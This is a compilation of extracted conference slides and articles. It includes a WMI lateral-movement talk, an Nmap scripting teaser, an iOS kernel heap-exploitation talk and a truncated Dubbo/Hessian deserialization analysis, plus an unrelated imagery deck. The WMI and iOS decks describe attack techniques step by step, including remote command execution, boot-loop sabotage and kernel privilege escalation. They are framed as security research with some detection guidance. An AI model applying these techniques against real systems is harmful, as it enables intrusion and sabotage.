Orbits http://www.ndu.edu/inss/books/Books%20-%201998/Military%20Geography%20March%2098/mgmap30.gif U.S. and Soviet Space Launch Sites and Control Centers http://www.ndu.edu/inss/books/Books%20-%201998/Military%20Geography%20March%2098/mgmap29.gif UAVs • RQ-1 Predator • Predator B (jet powered) • RQ-2 Pioneer • RQ-4A Global Hawk • BQM-147A Exdrone (Dragon Drone) • see stats and images here... – https://wrc.navair- rdte.navy.mil/warfighter_enc/aircraft/UAVs/ua vmain.htm Other Platforms https://wrc.navair-rdte.navy.mil/warfighter_enc/aircraft/UAVs/GHawk.htm • insert stats from here... https://wrc.navair-rdte.navy.mil/warfighter_enc/aircraft/UAVs/GHawk.htm Resolution source: http://www.fas.org/irp/imint/resolve2.htm http://www.defenselink.mil/DODCMSShare/briefingslide/107/030331-D-6570C-016.jpg http://www.defenselink.mil/DODCMSShare/briefingslide/107/030331-D-6570C-016.jpg Rotate Image Rotate Image to Vantage Point of Observer Orient Yourself to the Location Orient to North image: http://www.mapquest.com image: http://www.mapquest.com image: http://www.mapquest.com http://www.naco.faa.gov/index.asp?xml=naco/online/d_tpp http://en.wikipedia.org/wiki/Runway Parking www.mapquest.com http://www.defenselink.mil/DODCMSShare/NewsPhoto/2004-10/041028-D-0000M-001.jpg Transloading Aircraft Identification http://www.aoc.noaa.gov/ Cessna Citation II Gulfstream IV Lockheed WP-3D Orion Lake Seawolf (LA-27) Unique Aircraft Identification N-number inquiries: http://registry.faa.gov/aircraftinquiry/NNum_inquiry.asp UNITED STATES DEPARTMENT OF COMMERCE NOAA AIRCRAFT OPERATIONS CENTER 7917 HANGAR LOOP DR HANGAR 5 MACDILL AFB, FLORIDA 33621-5401 Serial Number 550-0021 Type Registration Government Manufacturer Name CESSNA Certificate Issue Date 01/26/1988 Model 550 Status Valid Type Engine Turbo-Jet MFR Year 1978 Kazan Helicopter Plant http://www.kazanhelicopters.com/index.php?id=4 MiG-35 at Aero India Airshow http://www.defensenews.com/aero/video.php?id=29 Museums maps.google.com Reconnaissance Configured C-130 RU-8D Seminole EA-3B Skywarrior Graveyards... C-141 B-52 Antennas Yagi See notes section for image citations Cell Towers Parabolic Reflector / Satellite Dish Microwave Example: Bridging Bridging Arch Bridge Trestle Bridge Draw Bridge Bridge Under Construction http://en.wikipedia.org/wiki/Bridge Bangalore, India http://maps.google.com/ Yelahanka Air Force Base http://maps.google.com/ Anonymization Image from Jacobs Ladder by Carolco Pictures Selective Obscuration maps.google.com Conclusions http://rapidfire.sci.gsfc.nasa.gov/gallery/2005292-1019/Wilma.A2005292.1640.250m.jpg
pdf
Total Endpoint Protection: #1 in EDR & Next-Gen AV No Win32_Process Needed Expanding The WMI Lateral Movement Arsenal Total Endpoint Protection: #1 in EDR & Next-Gen AV About Me o Security researcher – Cybereason o @PhilipTsukerman o Probably really stressed out right now Total Endpoint Protection: #1 in EDR & Next-Gen AV Outline o Lateral movement and WMI o New and improved methods o A word about detection Total Endpoint Protection: #1 in EDR & Next-Gen AV Lateral Movement Lateral Movement∈ Total Endpoint Protection: #1 in EDR & Next-Gen AV Lateral Movement Initial Foothold Credentials Target Machine Phishing/ Exploit/etc Total Endpoint Protection: #1 in EDR & Next-Gen AV Lateral Movement oAbuses features, not bugs oFeatures mostly work as intended Total Endpoint Protection: #1 in EDR & Next-Gen AV Common LM Methods o Remote service creation / PSExec o Remote task scheduling o WMI Win32_Process.Create Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About WMI o A Windows feature providing object-oriented representation of applications, devices etc. o Available remotely (through DCOM and WinRM) Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About WMI Mainly variations of “SELECT * FROM Win32_Process” Total Endpoint Protection: #1 in EDR & Next-Gen AV Some Example Classes Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI, WHAT IS IT MADE OF? Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI, What is it made of? o Winmgmt service o Providers o Repository Total Endpoint Protection: #1 in EDR & Next-Gen AV The WINMGMT Service o A mediator between the WMI model and client applications Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI Providers o Contain the implementations of WMI classes, instances and methods o Most commonly implemented as COM DLLs Total Endpoint Protection: #1 in EDR & Next-Gen AV The WMI repository o The central storage area for the WMI model o Contains definitions and instances Total Endpoint Protection: #1 in EDR & Next-Gen AV The Win32_Process Class o Represents a single process on a machine. o Class has a handy “Create” method Total Endpoint Protection: #1 in EDR & Next-Gen AV The Win32_Process Class Total Endpoint Protection: #1 in EDR & Next-Gen AV IS THIS ALL? Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI Class Derivation Total Endpoint Protection: #1 in EDR & Next-Gen AV Class Derivation – In Practice o Create a subclass of Win32_Process, Win32_NotEvilAtAll, which can be done remotely via WMI o New class has all the methods of the parent o Call “Create” o Win? Total Endpoint Protection: #1 in EDR & Next-Gen AV DEMO! Total Endpoint Protection: #1 in EDR & Next-Gen AV Total Endpoint Protection: #1 in EDR & Next-Gen AV Looks Good! Total Endpoint Protection: #1 in EDR & Next-Gen AV Almost Total Endpoint Protection: #1 in EDR & Next-Gen AV Some Takeaways Deriving classes without methods works better: no provider method calls Total Endpoint Protection: #1 in EDR & Next-Gen AV Some Takeaways o ‘SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA “SOMECLASS“’ o This also looks at subclasses Total Endpoint Protection: #1 in EDR & Next-Gen AV Some Takeaways o Cloning a class as a stealthier alternative for derivation doesn’t work Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIIFIYING OLD TECHNIQUES Total Endpoint Protection: #1 in EDR & Next-Gen AV Why Even Do this? o Uses WMI protocols instead of native ones o Network forensics will look for these in other places Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying Service Creation o Win32_Service represents a single service on a machine o Provides the full capability of sc.exe Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying Service Creation Total Endpoint Protection: #1 in EDR & Next-Gen AV Service Creation - Alternative Classes o Win32_Service o Win32_SystemDriver o Win32_TerminalService o Win32_BaseService Total Endpoint Protection: #1 in EDR & Next-Gen AV Standard Service Creation Total Endpoint Protection: #1 in EDR & Next-Gen AV Same Thing, But WMI Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying Old-Style Scheduled Tasks o Win32_ScheduledJob represents tasks created by at.exe o Does not provide the full API of old-style scheduled tasks Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying Old-Style Scheduled Tasks Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying Old-Style Scheduled Tasks o Inability to run tasks directly can be easily overcome o This method won’t work on newer operating systems Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying New-Style Scheduled Tasks o The PS_ScheduledTask provides the full API for schtasks.exe tasks o Only available for Win8+ Total Endpoint Protection: #1 in EDR & Next-Gen AV WMIifying New-Style Scheduled Tasks Total Endpoint Protection: #1 in EDR & Next-Gen AV DEMO! Total Endpoint Protection: #1 in EDR & Next-Gen AV Total Endpoint Protection: #1 in EDR & Next-Gen AV WIN32_PRODUCT Total Endpoint Protection: #1 in EDR & Next-Gen AV The Win32_Product Class o The Win32_Product class manages applications installed on the machine (via msiexec etc.) o “Install” method allows to install arbitrary MSI files! Total Endpoint Protection: #1 in EDR & Next-Gen AV The Win32_Product Class Total Endpoint Protection: #1 in EDR & Next-Gen AV The Win32_Product Class o Metasploit is able to package arbitrary payloads into MSI files Total Endpoint Protection: #1 in EDR & Next-Gen AV The Cool Kids Already Use MSI Total Endpoint Protection: #1 in EDR & Next-Gen AV DEMO! Total Endpoint Protection: #1 in EDR & Next-Gen AV Total Endpoint Protection: #1 in EDR & Next-Gen AV Less Successful Adventures With Win32_Product o No way to replicate “msiexec /y” o Hijacking uninstallers does not work Total Endpoint Protection: #1 in EDR & Next-Gen AV EVIL WMI PROVIDERS Total Endpoint Protection: #1 in EDR & Next-Gen AV Evil WMI Providers o WMI providers are where class instances and methods are implemented o Having your own provider means running code on the machine Total Endpoint Protection: #1 in EDR & Next-Gen AV Evil WMI Providers o Alexander Leary of NETSPI has shown a method to register a provider purely using WMI functions during the last DerbyCon Total Endpoint Protection: #1 in EDR & Next-Gen AV Evil WMI Providers – Drawbacks o Need to drop a file on the machine o Actually writing a WMI dll sucks Total Endpoint Protection: #1 in EDR & Next-Gen AV Evil WMI Providers o We want to have our provider just be an arbitrary command line Total Endpoint Protection: #1 in EDR & Next-Gen AV What Needs To Be Done o Create a COM object o Register a new provider o Somehow load the provider Total Endpoint Protection: #1 in EDR & Next-Gen AV Creating a COM Object o Create an OOP COM object inserting a new entry in the registry Total Endpoint Protection: #1 in EDR & Next-Gen AV Registering Providers Total Endpoint Protection: #1 in EDR & Next-Gen AV Registering Providers o Creating an instance of __Win32Provider is enough o CLSID and HostingModel fields allow to choose any type of COM object to be registered Total Endpoint Protection: #1 in EDR & Next-Gen AV Loading The Malicious Provider o Normally, a provider is loaded on demand o Our arbitrary executable does not implement classes, and cannot be loaded this way Total Endpoint Protection: #1 in EDR & Next-Gen AV Loading The Malicious Provider o The MSFT_Providers class has a method called "Load", which loads any WMI provider regardless of demand Total Endpoint Protection: #1 in EDR & Next-Gen AV The Msft_Providers Class Total Endpoint Protection: #1 in EDR & Next-Gen AV The Msft_Providers Class o The “Load” method checks if the __Win32Provider is registered correctly, and calls “CServerObject_RawFactory::CreateInstance” Total Endpoint Protection: #1 in EDR & Next-Gen AV CServerObject_RawFactory::Create Instance Total Endpoint Protection: #1 in EDR & Next-Gen AV CServerObject_RawFactory::Create Instance o Checks the LocalServer32 key under the relevant CLSID o Runs the command line o Tries to query the relevant interfaces o Fails o Everything is fine because we don't really care about the COM stuff at all Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About Stealth o The “SelfHost” hosting model runs as SYSTEM, but leaves a nasty entry in the event log o NetworkServiceHostOrSelfHost defaults to SelfHost without a log write Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About Stealth Total Endpoint Protection: #1 in EDR & Next-Gen AV DEMO! Total Endpoint Protection: #1 in EDR & Next-Gen AV Total Endpoint Protection: #1 in EDR & Next-Gen AV BONUS: MESSING WITH BOOT CONFIGURATION Total Endpoint Protection: #1 in EDR & Next-Gen AV Messing With Boot Configuration Total Endpoint Protection: #1 in EDR & Next-Gen AV Messing With Boot Configuration o The BCDObject class allows to manipulate entries in the BCD store, such as winload.exe o This allows an attacker to remotely manipulate the Windows loading process Total Endpoint Protection: #1 in EDR & Next-Gen AV How To Mess With Boot Config Via WMI o Open the system BCD using an instance of the BCDStore class o Open the BCDObject related to winload.exe o Switch winload.exe with calc.exe, as you haven’t really written a compatible bootkit o Wait for the machine to restart o Ponder your life choices as the victim machine is stuck in a very understandable boot loop Total Endpoint Protection: #1 in EDR & Next-Gen AV DEMO! Total Endpoint Protection: #1 in EDR & Next-Gen AV Total Endpoint Protection: #1 in EDR & Next-Gen AV DETECTION Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About Detection o The WMI-Activity ETW provider is a great source of information Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About Detection o Another great method is WMI introspection, using WMI queries to audit WMI 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__Win32Provider"' Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About Detection o Some software (and hardware) vendors add classes and providers to WMI, expanding the attack surface o Knowing what WMI providers and classes exist on your machines will only do you good Total Endpoint Protection: #1 in EDR & Next-Gen AV THANK YOU!
pdf
Insecure.Org Insecure.Org Mastering the Nmap Scripting Engine by Fyodor and David Fifield http://insecure.org/presentations/BHDC10/ Black Hat Briefings Las Vegas July 28; 4:45 PM; Augustus 5+6 Defcon 18 July 30; 5:00 PM; Track One Insecure.Org Insecure.Org Abstract Most hackers can use Nmap for simple port scanning and OS detection, but the Nmap Scripting Engine (NSE) takes scanning to a whole new level. Nmap's high-speed networking engine can now spider web sites for SQL injection vulnerabilities, brute-force crack and query MSRPC services, find open proxies, and more. Nmap includes more than 125 NSE scripts for network discovery, vulnerability detection, exploitation, and authentication cracking. Rather than give a dry overview of NSE, Fyodor and Nmap co- maintainer David Fifield demonstrate practical solutions to common problems. They have scanned millions of hosts with NSE and will discuss vulnerabilities found on enterprise networks and how Nmap can be used to quickly detect those problems on your own systems. Then they demonstrate how easy it is to write custom NSE scripts to meet the needs of your network. Finally they take a quick look at recent Nmap developments and provide a preview of what is soon to come. This presentation does not require any NSE experience, but it wouldn't hurt to read http://nmap.org/book/nse.html. Insecure.Org Insecure.Org Resources These slides are just a teaser. Final slides will be posted by August 1, 2010 to http://insecure.org/presentations/BHDC10/. Our goal is to make this presentation useful, informative, and entertaining even to those who know very little about Nmap and the Nmap Scripting Engine. But you can get the most out of this presentation by first reading about (and trying!) Nmap at http://nmap.org and the Nmap Scripting Engine at http://nmap.org/book/nse.html. Insecure.Org Insecure.Org Nmap Scripting Engine http://nmap.org/nsedoc/ # nmap -T4 -A scanme.nmap.org Starting Nmap 5.30BETA1 ( http://nmap.org ) Nmap scan report for scanme.nmap.org (64.13.134.52) Host is up (0.022s latency). Not shown: 995 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: 1024 60:ac:4d:51:b1:cd:85:09:12:16:92:76:1d:5d:27:6e (DSA) |_2048 2c:22:75:60:4b:c3:3b:18:a2:97:2c:96:7e:28:dc:dd (RSA) 53/tcp open domain 80/tcp open http Apache httpd 2.2.3 ((CentOS)) |_html-title: Go ahead and ScanMe! | http-methods: Potentially risky methods: TRACE |_See http://nmap.org/nsedoc/scripts/http-methods.html 113/tcp closed auth 31337/tcp closed Elite OS details: Linux 2.6.18 (CentOS 5.4) Nmap done: 1 IP address (1 host up) scanned in 25.76 seconds
pdf
macOS/iOS Kernel Debugging and Heap Feng Shui Min(Spark) Zheng @ Alibaba Mobile Security Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Whoami • SparkZheng @ Twitter,蒸米spark @ Weibo • Security Expert @ Alibaba • CUHK PhD, Blue-lotus and Insight-labs • Worked in FireEye, Baidu and Tencent • iOS 9.2.1/9.3.5 OverSky Jailbreak (Private) Alibaba Security • Co-author: Xiangyu Liu, Security Engineer @ Alibaba • Special thanks to: yang dian, aimin pan, jingle, luca, marcograss, windknown, liangchen, qoobee, etc. Introduction of macOS/iOS Kernel • XNU is the computer operating system kernel developed by Apple Inc. It is used in the iOS/macOS operating system and released as free and open-source software as part of the Darwin operating system. XNU is an abbreviation of “X is Not Unix”. • XNU for macOS is open source. It can be compiled and debugged. • XNU for iOS is not open source. It can not be compiled and debugged (officially), but most of its implementation is same as macOS. Alibaba Security Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Two-machine Debugging of macOS • To do a good job, one must first sharpen one's tools. • Machine: two MacBooks or one MacBook with VM (The system versions can be different). • Equipments for two-machine debugging: Thunderbolt to FireWire * 2, Belkin FireWire 800 9/9-Pin cable * 1, Thunderbolt 3 (USB-C) to Thunderbolt 2 * 2 for new 2016 MacBook. Alibaba Security Two-machine Debugging of macOS • Two MacBooks need to install KDK (Kernel Debug Kit). • After connection with FireWare cable, execute “fwkdp” on the host MacBook. • Copy the kernel.development of KDK to the “System/Library/Kernels/” folder on the debug MacBook and then execute the following commands: sudo nvram boot-args =“debug=0x147 kdp_match_name=firewire fwkdp=0x8000 kcsuffix=development pmuflags=1 -v keepsyms=1” sudo kextcache -invalidate / sudo reboot Alibaba Security Two-machine Debugging of macOS • After rebooting of the debug MacBook, the host MacBook can start debugging with “lldb,kdp- remote localhost” command. • We could use “image list” command to get the kernel addresses of partial kexts: Alibaba Security Two-machine Debugging of macOS Alibaba Security • We could use “x/nx” command to read the data in the kernel: • 1. Combining offsets of kernelCache + kslide, we could use “b *address” to set a breakpoint in kernel: Two-machine Debugging of macOS Alibaba Security • 2. We could pause the debugging machine immediately through: • 3. We could set breakpoints in the XNU source code through (“int $3”) and print kernel information through printf(). command+alt+control+shift+esc (all at once) XNU Source Code Console Two-machine Debugging of macOS Alibaba Security • Using “command script import” command, we could load python script of lldb to get more useful information. Two-machine Debugging of macOS Alibaba Security • Using “showallkexts” command, we could get the kernel addresses of all kexts: • Other lldb python commands and implementations could be found at: /Library/Developer/KDKs/XXX/System/Library/Kernels/kernel.development.dSYM/Contents/ Resources/Python/. Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion iOS Kernel Debugging – Kernelcache Alibaba Security • Before iOS 10, the kernelcaches were encrypted. Some keys could be found at: https://www.theiphonewiki.com/wiki/Firmware_Keys/9.x • After iOS 10, there is no encryption for kernelcaches. We could unzip and decode the kernel using img4tool: • And extract kernel information through joker and ida: iOS Kernel Debugging – Register Info Alibaba Security • We can get register information from the panic log: • We need to delete the panic logs if there are too many: rm –rf /var/mobile/Library/Logs/CrashReporter/ or General->Reset->Erase All Content and Settings iOS Kernel Debugging – Task_for_pid Alibaba Security • Although iOS doesn’t have KDK,we can use kernel task port to do arbitrary kernel memory read/write: • If there is no jailbreak or no task_for_pid () patch, what should we do? iOS Kernel Debugging – Kernel Slide Alibaba Security • After getting kernel task, we could figure out the kernel text base and slide, in arm32 it’s easy: • In arm64, it’s non-trivial. First, we need to create an OSObject in the kernel. Then, we found its vtable pointer which points to the kernel's base region. Last but not least, we search backwards from the vtable address until we find the kernel header (code refers to Siguza’s ios-kern-utils): iOS Kernel Debugging – Root and Port Address Alibaba Security • After getting the kslide, we can get root privilege through kernel R/W (refers to luca’s yalu): • Using offset + kernel slide, we could find the kernel objects addresses of related ports in the memory (port -> kernel address) (refers to ianbeer’s mach_portal): Outline Alibaba Security • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Mach_voucher Heap Overflow Alibaba Security Vulnerable code Fixed code • Mach_voucher_extract_attr_recipe_trap() is a mach trap which can be called inside the sandbox. It's a new function added in iOS 10 and macOS 10.12. • The function uses the sz value to allocate a memory block on the kernel heap. However, the developer forgot args->recipe_size was a user mode pointer and then used it as a size value in copyin(). We know that user mode pointer could be larger than the sz value which will cause a buffer overflow in kernel heap. Mach_voucher Heap Overflow Debugging Alibaba Security • If we want to debug the heap overflow scene, we could set the breakpoints at 0xffffff8014631540 and 0xffffff8014631545 (before and after copyio). Mach_voucher Heap Overflow Debugging Alibaba Security • Before heap overflow • After heap overflow Outline • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Alibaba Security iOS 10 Traditional Heap Feng Shui Alibaba Security • In iOS 10 and macOS 10.12, Apple added a new mitigation mechanism to check the freeing into the wrong zone attack, so we cannot use the classic vm_map_copy (changing vm_map_size) technique to do heap feng shui. • Ian Beer from GP0 proposed a new kind of heap feng shui using prealloc mach_port. The basic idea is using mach_port_allocate_full() to allocate ipc_kmsg objects in the kernel memory. This object contains a size field which can be corrupted without having to fully corrupt any pointers. iOS 10 Traditional Heap Feng Shui Alibaba Security • Using exception port, the attacker could send and receive data to the kernel memory. The data will not be freed after receiving. • The data is the register values of the crashed thread. Therefore, the attacker needs to create a thread and set the register values he wants to send. Then the attacker triggers the crash of the thread. The data will be sent to (on arm64): address of ipc_kmsg object + ikm_size – 0x104 iOS 10 Kernel Debugging Alibaba Security • So why the number is 0x104? • Using iOS kernel debugging we could get the address of prealloc_port_buffer in the memory. Then, we trigger the exception and send the user mode data to the kernel. After that, we can use kernel debugging again to inspect the data of the buffer: • We can find the location of the data in the buffer is 0xd3c, and because we set the value of ikm_size to 0xe40, we can get: 0xe40 – 0xd3c = 0x104. iOS 10 Traditional Heap Feng Shui • The attacker first allocates 2000 prealloc ports (each port is 0x900 size) to insure the following ports (holder, first_port, second_port) are continuous. • Then the attacker could get the following layout (page size 0x1000): kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port Alibaba Security iOS 10 Traditional Heap Feng Shui • The attacker frees the holder,and then uses the vulnerability to overflow the first 0x40 bytes of the first_port. It contains the ikm_size and other fields of ipc_kmsg object. • Note that,if the attacker uses expction msg,the data sent to the prealloc port will be located at: addr of ipc_kmsg object + ikm_size - 0x104. • With simple calculation, we can get: first_port_addr + 0x1104 – 0x104 = first_port_addr + 0x1000 = second_port_addr kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port 0x40 Alibaba Security iOS 10 Traditional Heap Feng Shui • For the heap information leak, the attacker uses the exception msg to change the header of the second_port through the first_port. The attacker gives the second_port a valid header. • The second_port has a valid header. So after sending the message to the second port, ikm_next and ikm_prev will be set to point to itself. After that, the attacker can receive the content of the first port to get the address of the second_port: kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port 0x40 0x40 Debug info Alibaba Security iOS 10 Traditional Heap Feng Shui kalloc.4096 kalloc.4096 kalloc.4096 holder first_port second_port 0x40 0x40 kalloc.4096 kalloc.4096 kalloc.4096 holder first_port userclient 0x40 0x100 read free • After getting the heap address, the attacker should use the first_port to reset the second port, because he needs to safely free the second port. After freeing the second_port, the attacker can alloc an AGXCommandQueue UserClient(0xdb8 size) to hold the spot of the second_port. Alibaba Security Leak Kslide Using Heap Feng Shui • The attacker could get the data of AGXCommandQueue UserClient object through the first_port. The first 8 bytes of the object is the vtable addr of UserClient. Comparing the dynamic vtable address with the vtable in the kernelcache,the attacker can figure out the kslide. • kslide = 0xFFFFFFF022b9B450 – 0xFFFFFFF006F9B450 = 0x1BC00000 Alibaba Security Arbitrary Kernel Memory Read and Write • The attacker first uses OSSerialize to create a ROP which invokes uuid_copy. In this way, the attacker could copy the data at arbitrary address to the address at kernel_buffer_base + 0x48 and then use the first_port to get the data back to user mode. • If the attacker reverses X0 and X1, he could get arbitrary kernel memory write ROP. X0=[X0,#0x10] = kernel_buffer_base+0x48 X1=address X3=kernel_uuid_copy BR X3 Alibaba Security Arbitrary Kernel Memory Read and Write • If the attacker calls IOConnectGetService(Client_port) method, the method will invoke getMetaClass(),retain() and release() method of the Client. • Therefore, the attacker can send a fake vtable data of AGXCommandQueue UserClient to the kernel through the first_port and then use IOConnectGetService() to trigger the ROP chain. • After getting arbitrary kernel memory read and write, the next step is kernel patch. The latest and public kernel patch technique could be referred to yalu 102. • Note that traditional heap feng shui only has a 50% successful rate. Alibaba Security Outline • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Alibaba Security iOS 10 Port Feng Shui • Mach msg is the most frequently used IPC mechanism in XNU. Through the “complicated message” of MACH_MSG_OOL_PORTS_DESCRIPTOR msg_type, the attacker can transmit out-of-line ports to the kernel. MACH_PORT_DEAD = 0xffffffffffffffff Alibaba Security iOS 10 Port Feng Shui • The ool ports saved in mach msg are ipc_object pointers and the pointer can point to a user mode address. • The attacker could overflow those pointers and modify one ipc_object pointer to point to a fake ipc_object in user mode. He can create a fake task in user mode for the fake port as well. 0x100 fake ipc_object (port) fake_task 0x100 0x100 ports ports User mode Kernel mode 0x8 Mach heap overflow Alibaba Security iOS 10 Port Feng Shui • The attacker sends lots of ool ports messages to the kernel to insure the new allocated blocks are continuous. • The attacker receives some messages in the middle to dig some slots. • The attacker sends some messages again to make the overflow point at the middle of the slots. • The attacker uses mach_voucher vulnerability to trigger the overflow at the overflow point. Alibaba Security iOS 10 Port Feng Shui • The attacker sets io_bits of the fake ipc_object to IKOT_TASK and crafts a fake task for the fake port. By setting the value at the faketask+0x380, the attacker could read arbitrary 32 bits kernel memory through pid_for_task(). fake port faketask Alibaba Security iOS 10 Port Feng Shui • That’s amazing because the function doesn’t check the validity of the task, and just return the value of *(*(faketask + 0x380) + 0x10). Alibaba Security iOS 10 Port Feng Shui • The attacker dumps kernel ipc_object and kernel task to our fake ipc_object and fake task. • By using task_get_special_port() to our fake ipc_object and task, the attacker could get the kernel task port. • Kernel task port can be used to do arbitrary kernel memory read and write. fake ipc_object faketask kernel ipc_object kernel task pid=0 DUMP kernel task port task_get_special_port() mach_vm_ read() mach_vm_ write() Alibaba Security Outline • Introduction • macOS Two Machine Debugging • iOS Kernel Debugging • Debugging Mach_voucher Heap Overflow • Traditional Heap Feng Shui • Port Feng Shui • Conclusion Alibaba Security Conclusion • macOS/iOS kernel debugging: it is very useful for kernel exploit development. • Traditional heap feng shui: it needs ROP chains to do kernel memory read and write. It needs multiple feng shui and it is not stable. • Port heap feng shui: it doesn’t need gadgets and only uses data structure. It’s stable with a high successful rate. But it’s easy for apple to fix it. • Reference: 1. Yalu 102: https://github.com/kpwn/yalu102 2. Mach_voucher bug report: https://bugs.chromium.org/p/project- zero/issues/detail?id=1004 3. iOS Kernel Utilities: https://github.com/Siguza/ios-kern-utils Alibaba Security Thanks
pdf
Java安全之Dubbo反序列化漏洞分析 0x00 前言 最近天气冷,懒癌又犯了,加上各种项目使得本篇文断断续续。 0x01 Dubbo 概述 Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC(一种远程调用) 分布式服务框架(SOA),致力于 提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。dubbo 支持多种序列化方式并 且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、 redis等多种协议。 运行机制 Dubbo框架启动,容器Container一启动,服务提供者Provider会将提供的服务信息注册到注册中心 Registry,注册中心就知道有哪些服务上线了;当服务消费者Consumer启动,它会从注册中心订阅 subscribe所需要的服务。 若某个服务提供者变更,比如某个机器下线宕机,注册中心基于长连接的方式将变更信息通知给消费 者。 消费者可以调用服务提供者的服务,同时会根据负载均衡算法选择服务来调用。 每次的调用信息、服务信息等会定时统计发送给监控中心Monitor,监控中心能够监控服务的运行状 态。 节点 角色说明 Provider 暴露服务的服务提供方 Consumer 调用远程服务的服务消费方 Registry 服务注册与发现的注册中心 Monitor 统计服务的调用次数和调用时间的监控中心 Container 服务运行容器 以上图片是官方提供的一个运行流程图 1. 服务容器负责启动,加载,运行服务提供者。 2. 服务提供者在启动时,向注册中心注册自己提供的服务。 3. 服务消费者在启动时,向注册中心订阅自己所需的服务。 4. 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给 消费者。 5. 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失 败,再选另一台调用。 6. 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中 心。 在使用Dubbo前,需要搭建一个注册中心,官方推荐使用Zookeeper。 使用 下载解压zookeeper,将里面的 zoo_sample.cfg 内容,复制到 zoo.cfg 文件中。 Zookeeper端口默认是2181,可修改进行配置端口。 修改完成后,运行 zkServer.bat 即可启动Zookeeper。 dubbo文档 注册服务 定义服务接口 DemoService 定义接口的实现类 DemoServiceImpl 用 Spring 配置声明暴露服务 使用注解配置声明暴露服务,在 application.properites 中配置 然后在对应接口使用 @Component 或 @Service 注解进行注册 tickTime=2000 initLimit=10 syncLimit=5 dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\data clientPort=2181 package org.apache.dubbo.samples.basic.api; public interface DemoService {    String sayHello(String name); } public class DemoServiceImpl implements DemoService {    @Override    public String sayHello(String name) {        System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name +                ", request from consumer: " + RpcContext.getContext().getRemoteAddress());        return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();   } } <bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/> <dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/> dubbo.scan.base-packages=org.apache.dubbo.samples 引用远程服务 consumer.xml 配置 配置协议: 设置服务默认协议: 设置服务协议: 多端口: 发布服务使用hessian协议: 引用服务 <dubbo:reference id="demoService" check="true" interface="org.apache.dubbo.samples.basic.api.DemoService"/> public class HttpConsumer {    public static void main(String[] args) throws Exception {        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");        context.start();        DemoService demoService = (DemoService) context.getBean("demoService");        String result = demoService.sayHello("world");        System.out.println(result);   } } <dubbo:protocol name="dubbo" port="20880" /> <dubbo:provider protocol="dubbo" /> <dubbo:service protocol="dubbo" /> <dubbo:protocol id="dubbo1" name="dubbo" port="20880" /> <dubbo:protocol id="dubbo2" name="dubbo" port="20881" /> <dubbo:service protocol="hessian"/> <dubbo:reference protocol="hessian"/> 0x02 Hessian Hessian概述 hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修 改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、 C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法 调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两 者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序 列化和RMI功能。 使用 序列化 反序列化 import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test {    public static void main(String[] args) throws IOException {        Person o=new Person();        ByteArrayOutputStream os = new ByteArrayOutputStream();        Hessian2Output output = new Hessian2Output(os);        output.writeObject(o);        output.close();        System.out.println(os.toString());   } } import com.caucho.hessian.io.Hessian2Input; import 